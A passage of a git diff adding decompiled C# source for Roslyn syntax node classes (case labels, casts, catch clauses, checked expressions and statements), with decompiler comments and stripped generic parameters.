ExpressionSyntax Value => ((SyntaxNode)this).GetRed(ref value, 1); + + public override SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CaseSwitchLabelSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal CaseSwitchLabelSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref value, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)value; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCaseSwitchLabel(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCaseSwitchLabel(this); + } + + public CaseSwitchLabelSyntax Update(SyntaxToken keyword, ExpressionSyntax value, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || value != Value || colonToken != ColonToken) + { + CaseSwitchLabelSyntax caseSwitchLabelSyntax = SyntaxFactory.CaseSwitchLabel(keyword, value, colonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return caseSwitchLabelSyntax; + } + return caseSwitchLabelSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override SwitchLabelSyntax WithKeywordCore(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeyword(keyword); + } + + public new CaseSwitchLabelSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, Value, ColonToken); + } + + public CaseSwitchLabelSyntax WithValue(ExpressionSyntax value) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, value, ColonToken); + } + + internal override SwitchLabelSyntax WithColonTokenCore(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithColonToken(colonToken); + } + + public new CaseSwitchLabelSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, Value, colonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CastExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CastExpressionSyntax.cs new file mode 100644 index 0000000..ec57d1c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CastExpressionSyntax.cs @@ -0,0 +1,102 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CastExpressionSyntax : ExpressionSyntax +{ + private TypeSyntax? type; + + private ExpressionSyntax? expression; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CastExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 1); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CastExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 3); + + internal CastExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref type, 1), + 3 => ((SyntaxNode)this).GetRed(ref expression, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => type, + 3 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCastExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCastExpression(this); + } + + public CastExpressionSyntax Update(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken || expression != Expression) + { + CastExpressionSyntax castExpressionSyntax = SyntaxFactory.CastExpression(openParenToken, type, closeParenToken, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return castExpressionSyntax; + } + return castExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public CastExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Type, CloseParenToken, Expression); + } + + public CastExpressionSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, type, CloseParenToken, Expression); + } + + public CastExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Type, closeParenToken, Expression); + } + + public CastExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Type, CloseParenToken, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchClauseSyntax.cs new file mode 100644 index 0000000..3d8baae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchClauseSyntax.cs @@ -0,0 +1,116 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CatchClauseSyntax : CSharpSyntaxNode +{ + private CatchDeclarationSyntax? declaration; + + private CatchFilterClauseSyntax? filter; + + private BlockSyntax? block; + + public SyntaxToken CatchKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchClauseSyntax)(object)((SyntaxNode)this).Green).catchKeyword, ((SyntaxNode)this).Position, 0); + + public CatchDeclarationSyntax? Declaration => ((SyntaxNode)this).GetRed(ref declaration, 1); + + public CatchFilterClauseSyntax? Filter => ((SyntaxNode)this).GetRed(ref filter, 2); + + public BlockSyntax Block => ((SyntaxNode)this).GetRed(ref block, 3); + + internal CatchClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref declaration, 1), + 2 => ((SyntaxNode)this).GetRed(ref filter, 2), + 3 => ((SyntaxNode)this).GetRed(ref block, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => declaration, + 2 => filter, + 3 => block, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCatchClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCatchClause(this); + } + + public CatchClauseSyntax Update(SyntaxToken catchKeyword, CatchDeclarationSyntax? declaration, CatchFilterClauseSyntax? filter, BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (catchKeyword != CatchKeyword || declaration != Declaration || filter != Filter || block != Block) + { + CatchClauseSyntax catchClauseSyntax = SyntaxFactory.CatchClause(catchKeyword, declaration, filter, block); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return catchClauseSyntax; + } + return catchClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public CatchClauseSyntax WithCatchKeyword(SyntaxToken catchKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(catchKeyword, Declaration, Filter, Block); + } + + public CatchClauseSyntax WithDeclaration(CatchDeclarationSyntax? declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(CatchKeyword, declaration, Filter, Block); + } + + public CatchClauseSyntax WithFilter(CatchFilterClauseSyntax? filter) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(CatchKeyword, Declaration, filter, Block); + } + + public CatchClauseSyntax WithBlock(BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(CatchKeyword, Declaration, Filter, block); + } + + public CatchClauseSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithAttributeLists(Block.AttributeLists.AddRange((IEnumerable)items))); + } + + public CatchClauseSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithStatements(Block.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchDeclarationSyntax.cs new file mode 100644 index 0000000..b03838f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchDeclarationSyntax.cs @@ -0,0 +1,119 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CatchDeclarationSyntax : CSharpSyntaxNode +{ + private TypeSyntax? type; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchDeclarationSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 1); + + public SyntaxToken Identifier + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier; + if (identifier == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)identifier, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchDeclarationSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal CatchDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref type, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCatchDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCatchDeclaration(this); + } + + public CatchDeclarationSyntax Update(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || type != Type || identifier != Identifier || closeParenToken != CloseParenToken) + { + CatchDeclarationSyntax catchDeclarationSyntax = SyntaxFactory.CatchDeclaration(openParenToken, type, identifier, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return catchDeclarationSyntax; + } + return catchDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + public CatchDeclarationSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Type, Identifier, CloseParenToken); + } + + public CatchDeclarationSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, type, Identifier, CloseParenToken); + } + + public CatchDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Type, identifier, CloseParenToken); + } + + public CatchDeclarationSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Type, Identifier, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchFilterClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchFilterClauseSyntax.cs new file mode 100644 index 0000000..35643bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CatchFilterClauseSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CatchFilterClauseSyntax : CSharpSyntaxNode +{ + private ExpressionSyntax? filterExpression; + + public SyntaxToken WhenKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchFilterClauseSyntax)(object)((SyntaxNode)this).Green).whenKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchFilterClauseSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax FilterExpression => ((SyntaxNode)this).GetRed(ref filterExpression, 2); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchFilterClauseSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal CatchFilterClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref filterExpression, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)filterExpression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCatchFilterClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCatchFilterClause(this); + } + + public CatchFilterClauseSyntax Update(SyntaxToken whenKeyword, SyntaxToken openParenToken, ExpressionSyntax filterExpression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (whenKeyword != WhenKeyword || openParenToken != OpenParenToken || filterExpression != FilterExpression || closeParenToken != CloseParenToken) + { + CatchFilterClauseSyntax catchFilterClauseSyntax = SyntaxFactory.CatchFilterClause(whenKeyword, openParenToken, filterExpression, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return catchFilterClauseSyntax; + } + return catchFilterClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public CatchFilterClauseSyntax WithWhenKeyword(SyntaxToken whenKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(whenKeyword, OpenParenToken, FilterExpression, CloseParenToken); + } + + public CatchFilterClauseSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(WhenKeyword, openParenToken, FilterExpression, CloseParenToken); + } + + public CatchFilterClauseSyntax WithFilterExpression(ExpressionSyntax filterExpression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(WhenKeyword, OpenParenToken, filterExpression, CloseParenToken); + } + + public CatchFilterClauseSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(WhenKeyword, OpenParenToken, FilterExpression, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CheckedExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CheckedExpressionSyntax.cs new file mode 100644 index 0000000..94d065b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CheckedExpressionSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CheckedExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CheckedExpressionSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CheckedExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CheckedExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal CheckedExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCheckedExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCheckedExpression(this); + } + + public CheckedExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + CheckedExpressionSyntax checkedExpressionSyntax = SyntaxFactory.CheckedExpression(Kind(), keyword, openParenToken, expression, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return checkedExpressionSyntax; + } + return checkedExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public CheckedExpressionSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, OpenParenToken, Expression, CloseParenToken); + } + + public CheckedExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, openParenToken, Expression, CloseParenToken); + } + + public CheckedExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, expression, CloseParenToken); + } + + public CheckedExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Expression, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CheckedStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CheckedStatementSyntax.cs new file mode 100644 index 0000000..653541f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CheckedStatementSyntax.cs @@ -0,0 +1,136 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CheckedStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private BlockSyntax? block; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CheckedStatementSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public BlockSyntax Block => ((SyntaxNode)this).GetRed(ref block, 2); + + public CheckedStatementSyntax Update(SyntaxToken keyword, BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, keyword, block); + } + + internal CheckedStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref block, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => block, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCheckedStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCheckedStatement(this); + } + + public CheckedStatementSyntax Update(SyntaxList attributeLists, SyntaxToken keyword, BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || keyword != Keyword || block != Block) + { + CheckedStatementSyntax checkedStatementSyntax = SyntaxFactory.CheckedStatement(Kind(), attributeLists, keyword, block); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return checkedStatementSyntax; + } + return checkedStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new CheckedStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Keyword, Block); + } + + public CheckedStatementSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, keyword, Block); + } + + public CheckedStatementSyntax 